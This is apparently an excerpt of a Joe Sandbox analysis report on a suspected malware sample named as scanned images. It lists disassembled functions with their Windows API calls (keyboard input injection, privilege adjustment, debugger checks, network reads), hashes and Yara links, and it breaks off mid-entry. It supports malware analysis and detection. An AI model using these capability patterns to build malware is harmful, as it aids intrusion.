Instruction ID: 4478ea259b1a0eb969ebefd218f50d2d234e6a33aae6f16197952c481868f590
Opcode Fuzzy Hash: 05836322e33b1694136cc2cb4cc2313c0b1af7172a52e00da4977df5c5dcd8c1
Instruction Fuzzy Hash: B6515171508340AFD710EF25C885E6BBBE8FF89758F40492EF98597252EB34D908CB96

Function 004BAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 004BAAAC
SetKeyboardState.USER32(00000080), ref: 004BAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 004BAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 004BAB88

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: eab32102fc29236008734e89fc73b982abd4c74b631ea53566a70a0de6dfe420
Instruction ID: 0e519b7d83a4f4b05f3c984b1f33d55694eb54cb8c98dce1680c40207474bd19
Opcode Fuzzy Hash: eab32102fc29236008734e89fc73b982abd4c74b631ea53566a70a0de6dfe420
Instruction Fuzzy Hash: 91312930A44248AEEF34CA658C45BFB7BA6AB44310F04421BE2A1562D1D37CADA5C77B

Function 0048BB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0048BB7F

Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

GetTimeZoneInformation.KERNEL32 ref: 0048BB91
WideCharToMultiByte.KERNEL32(00000000,?,0052121C,000000FF,?,0000003F,?,?), ref: 0048BC09
WideCharToMultiByte.KERNEL32(00000000,?,00521270,000000FF,?,0000003F,?,?,?,0052121C,000000FF,?,0000003F,?,?), ref: 0048BC36

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: f95c8f1bfa9b6a825880e088d9cec623611fdbcc0079765eda10c03c5b3f6929
Instruction ID: 12c45588c2f26cbb38c1d241dd60141cbb9fd370a35952d98c4246f852e56bb1
Opcode Fuzzy Hash: f95c8f1bfa9b6a825880e088d9cec623611fdbcc0079765eda10c03c5b3f6929
Instruction Fuzzy Hash: B131C270904645DFCB11EF6ADC8042EBBB8FF663107144A6EF460DB3A1D7349942DB98

Function 004CCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 004CCE89
GetLastError.KERNEL32(?,00000000), ref: 004CCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 004CCEFE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: e95b11b581806d979017d8937b1ac090cfa18b4d39801dbe98dce74119cb8b01
Instruction ID: 617e27a0f6706aa0903e0c6364165c8b537ddc68df5a27a01cabca9a97dd6ba9
Opcode Fuzzy Hash: e95b11b581806d979017d8937b1ac090cfa18b4d39801dbe98dce74119cb8b01
Instruction Fuzzy Hash: 7621DE759003059BD7608F65C9C4FAB77F8EB01308F10442FE64A92291E738EA058B58

Function 004BDBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00495222), ref: 004BDBCE
GetFileAttributesW.KERNEL32(?), ref: 004BDBDD
FindFirstFileW.KERNEL32(?,?), ref: 004BDBEE
FindClose.KERNEL32(00000000), ref: 004BDBFA

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: f572ec6a6af1ec7d641e2995c03cc61b68073f9cd961d24c1a5e8ff3ca892f18
Instruction ID: f54d74e09a39eb7098b7938a4a7c708cd0d454235fcd07612b4443e16b771aa1
Opcode Fuzzy Hash: f572ec6a6af1ec7d641e2995c03cc61b68073f9cd961d24c1a5e8ff3ca892f18
Instruction Fuzzy Hash: 27F0A030C109105782206B78AC8E8AB7B7C9F01334B144793F936C21E1FBB45D5686AE

Function 004C5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004C5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 004C5D17
FindClose.KERNEL32(?), ref: 004C5D5F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 5e62793829ab34761bb3c84ee27ab72b469d0e3f545c62ae6191202252f78e3a
Instruction ID: 04c3d0c39263459284edb4ef9da3d32ee683030c5e890aa1f68b24f87cac43a3
Opcode Fuzzy Hash: 5e62793829ab34761bb3c84ee27ab72b469d0e3f545c62ae6191202252f78e3a
Instruction Fuzzy Hash: 66518638604B019FC714CF28C484E9AB7E4FF49318F14855EE99A8B3A2DB38F845CB95

Function 00482622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0048271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00482724
UnhandledExceptionFilter.KERNEL32(?), ref: 00482731

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8aea1b046e30cee5e26f6d20d4671b0821b2626faad9a576ede1451ef2aeadfd
Instruction ID: a5227cf22b9ab560ca275ed9301575db8fca5386729932af519bd849305673a9
Opcode Fuzzy Hash: 8aea1b046e30cee5e26f6d20d4671b0821b2626faad9a576ede1451ef2aeadfd
Instruction Fuzzy Hash: 8D31D574901318ABCB21DF65DD887DDBBB8AF18310F5081EAE80CA7261E7749F818F48

Function 004C51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004C51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 004C5238
SetErrorMode.KERNEL32(00000000), ref: 004C52A1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 149afddddc86ff98a4b8a978671259127ef661e5739a771a26386b69a0d9d1f7
Instruction ID: 1d6979d34ac79007ddbe416469fcd9b671341204eb29cf74df7257ca00e37f3e
Opcode Fuzzy Hash: 149afddddc86ff98a4b8a978671259127ef661e5739a771a26386b69a0d9d1f7
Instruction Fuzzy Hash: F7313C75A00618DFDB00DF55D8C4EADBBB4FF48318F048099E8459B392DB35E85ACB54

Function 004B16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0046FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00470668
Part of subcall function 0046FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00470685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 004B170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 004B173A
GetLastError.KERNEL32 ref: 004B174A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 4af3dab9f43aa53b755be6ae7ca027613ac7b4f187638194b1c810d3d0bec8f7
Instruction ID: ab28642a01b312d06c09fa8163aacd62ec948dfba69d581fadbfe912e97bfa70
Opcode Fuzzy Hash: 4af3dab9f43aa53b755be6ae7ca027613ac7b4f187638194b1c810d3d0bec8f7
Instruction Fuzzy Hash: F611CEB2400304AFD718AF54ECC6DABB7BDEB05714B20852FE49657291EB74BC428B68

Function 004BD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 004BD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 004BD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 004BD650

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: f883b30cbe13319560d67f2b213b45d54c295eb979ce1f04e918bd1d3e92eef9
Instruction ID: 5fc6abce670f6f6e0bf66d8608e840f9003e9e1d6b0c021d2215df0c8d794ab6
Opcode Fuzzy Hash: f883b30cbe13319560d67f2b213b45d54c295eb979ce1f04e918bd1d3e92eef9
Instruction Fuzzy Hash: 7E113C75E05228BBDB108F959C85FEFBFBCEB45B50F108166F904E7290D6704A058BA5

Function 004B1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004B168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 004B16A1
FreeSid.ADVAPI32(?), ref: 004B16B1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: b83ef654a11ec12e08017b3a7cbd0e2962ce88de23a299dba9aa889977d34b1c
Instruction ID: bfcfd1735af130839b02aee69a98b3d76578395e7e22dc71cd6ed49a6d21bab7
Opcode Fuzzy Hash: b83ef654a11ec12e08017b3a7cbd0e2962ce88de23a299dba9aa889977d34b1c
Instruction Fuzzy Hash: 08F0F471950309FBDB00DFE49CC9EAEBBBCEB08604F504965E501E6191E774AA448A64

Function 00474CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(004828E9,?,00474CBE,004828E9,005188B8,0000000C,00474E15,004828E9,00000002,00000000,?,004828E9), ref: 00474D09
TerminateProcess.KERNEL32(00000000,?,00474CBE,004828E9,005188B8,0000000C,00474E15,004828E9,00000002,00000000,?,004828E9), ref: 00474D10
ExitProcess.KERNEL32 ref: 00474D22

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a5b0d848b6d6f24bbbd69dc1890deb46f65ec6a1930addb5de1de63a03a870a7
Instruction ID: f9ac48711cc89c216f23b9ee7c5db876e3f388eef9f0a453737d4d70674d6f2f
Opcode Fuzzy Hash: a5b0d848b6d6f24bbbd69dc1890deb46f65ec6a1930addb5de1de63a03a870a7
Instruction Fuzzy Hash: A2E0BF31000188AFCF21AF55DD99A993B69EB81785B118429FC599A223DB39DD52CB48

Function 004AD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 004AD28C

Strings

X64, xrefs: 004AD2A8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: ef58e262db6b42523ca38eb136556779169e70ea65ae7b29e20d1391a69204a2
Instruction ID: 38a02683005b6fad86efcc5526d707101bced3cf29c8a6f2ec08110d2ad555b2
Opcode Fuzzy Hash: ef58e262db6b42523ca38eb136556779169e70ea65ae7b29e20d1391a69204a2
Instruction Fuzzy Hash: A9D0C9B5C0111DEACB90DB90DCC8DD9B37CBB14305F100192F506A2000D734954A8F15

Function 0047CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: a91280f4d64d1a561b3fd4324d96c29428118030e2b793674ba4fbb1294686d2
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: D3021B71E002199FDF24CFA9D9806EEBBF1EF48314F25816ED919E7384D734AA418B84

Function 0045CAF0 Relevance: 3.2, Strings: 2, Instructions: 659COMMON

Download Yara Rule

Strings

p#R, xrefs: 0045CF7F
Variable is not of type 'Object'., xrefs: 004A0C40

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.$p#R
API String ID: 0-3568732149
Opcode ID: ccb4b70716c2b483a656e067e54ac1bb6e18b4e86367ce85fa7b71dd04c927c0
Instruction ID: 95c4485017989d3eb09f139a3f60a188164a449e7f300c69e8db58cfa629a4fa
Opcode Fuzzy Hash: ccb4b70716c2b483a656e067e54ac1bb6e18b4e86367ce85fa7b71dd04c927c0
Instruction Fuzzy Hash: A2326971900318DFDF14DF90C881AEEB7B5BF15309F14405AE806AB392D779AE4ACB69

Function 004C68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004C6918
FindClose.KERNEL32(00000000), ref: 004C6961

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: fd0582cf7fbd510cd5e9b5a4d802d6a9ef08ed045336f02e78f76c7166b79bdf
Instruction ID: 820f1265eb48a3ecb5780cbc9cd9fda24c5a2d2898d631ac7d00e1f4365d3a10
Opcode Fuzzy Hash: fd0582cf7fbd510cd5e9b5a4d802d6a9ef08ed045336f02e78f76c7166b79bdf
Instruction Fuzzy Hash: FB11AF756042009FC710CF29D8C5A16BBE1EF84329F05C6AEE8698F3A2C734EC05CB95

Function 004C37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,004D4891,?,?,00000035,?), ref: 004C37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,004D4891,?,?,00000035,?), ref: 004C37F4

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: eb68cdc9d97fd19683d1a8d4a20762a43dc633fbd05ab113e40784ca0251376e
Instruction ID: 06e046305e33213ad93962533b0981f053a945e34968f74366b079f204a3d87f
Opcode Fuzzy Hash: eb68cdc9d97fd19683d1a8d4a20762a43dc633fbd05ab113e40784ca0251376e
Instruction Fuzzy Hash: 6CF05C716013182AD71017664C8CFEB7A5EDFC4761F00417AF505D2281C9604D04C6B4

Function 004BB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 004BB25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 004BB270

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 5f4384b2f0702e9f7f508d80bad38c70c63e81e76ea3b47dd19e25d840e17d46
Instruction ID: 1b9d8d7b4c789dfcc664a0667326b5bd74e28069826071bcdf18391074ba380e
Opcode Fuzzy Hash: 5f4384b2f0702e9f7f508d80bad38c70c63e81e76ea3b47dd19e25d840e17d46
Instruction Fuzzy Hash: 2DF01D7180428EABDB059FA1C845BEE7BB4FF04305F00805AF965A9192C379C6129FA8

Function 004B10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004B11FC), ref: 004B10D4
CloseHandle.KERNEL32(?,?,004B11FC), ref: 004B10E9

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 206f22f8bb2d492af35d0d0aa5418885500346100b89745fc2b6d2f73904d464
Instruction ID: 3cb0734448d63e247778ddff7dc0a4a81eff83d4746c5432c352243b5759396f
Opcode Fuzzy Hash: 206f22f8bb2d492af35d0d0aa5418885500346100b89745fc2b6d2f73904d464
Instruction Fuzzy Hash: 8DE04F72004600AEE7252B51FC45E737BA9EB04314B10882EF8A6844B1EB626C90DB58

Function 0048676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

